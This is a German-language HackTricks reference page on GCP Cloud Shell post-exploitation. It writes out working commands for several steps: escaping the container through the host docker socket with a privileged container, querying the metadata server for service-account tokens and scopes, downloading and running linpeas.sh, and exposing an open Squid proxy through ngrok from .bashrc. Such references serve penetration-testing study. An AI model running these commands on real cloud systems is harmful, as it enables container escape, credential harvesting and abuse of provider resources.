GCP - Cloud Shell Post Exploitation

Support HackTricks

Cloud Shell

Für weitere Informationen über Cloud Shell siehe:

GCP - Cloud Shell Enum

Container Escape

Beachte, dass die Google Cloud Shell in einem Container läuft. Du kannst einfach zum Host entkommen, indem du folgendes tust:

sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh

Dies wird von Google nicht als Schwachstelle betrachtet, aber es gibt Ihnen eine breitere Sicht darauf, was in dieser Umgebung passiert.

Darüber hinaus beachten Sie, dass Sie vom Host aus ein Dienstkonto-Token finden können:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/

Mit den folgenden Berechtigungen:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write

Enumerieren Sie Metadaten mit LinPEAS:

cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud

Nachdem Sie https://github.com/carlospolop/bf_my_gcp_permissions mit dem Token des Dienstkontos verwendet haben, wurden keine Berechtigungen entdeckt...

Verwenden Sie es als Proxy

Wenn Sie Ihre Google Cloud Shell-Instanz als Proxy verwenden möchten, müssen Sie die folgenden Befehle ausführen (oder sie in die .bashrc-Datei einfügen):

sudo apt install -y squid

Nur zur Information, Squid ist ein HTTP-Proxy-Server. Erstellen Sie eine squid.conf-Datei mit den folgenden Einstellungen:

http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all

Kopiere die squid.conf-Datei nach /etc/squid.

sudo cp squid.conf /etc/squid

Schließlich den Squid-Dienst ausführen:

sudo service squid start

Verwenden Sie ngrok, um den Proxy von außen verfügbar zu machen:

./ngrok tcp 3128

Nach dem Ausführen kopieren Sie die tcp:// URL. Wenn Sie den Proxy von einem Browser aus ausführen möchten, wird empfohlen, den tcp:// Teil und den Port zu entfernen und den Port in das Portfeld Ihrer Browser-Proxy-Einstellungen einzufügen (squid ist ein HTTP-Proxy-Server).

Für eine bessere Nutzung beim Start sollte die .bashrc-Datei die folgenden Zeilen enthalten:

sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128

Die Anweisungen wurden von https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key kopiert. Überprüfen Sie diese Seite für andere verrückte Ideen, um jede Art von Software (Datenbanken und sogar Windows) in Cloud Shell auszuführen.

Unterstützen Sie HackTricks

Last updated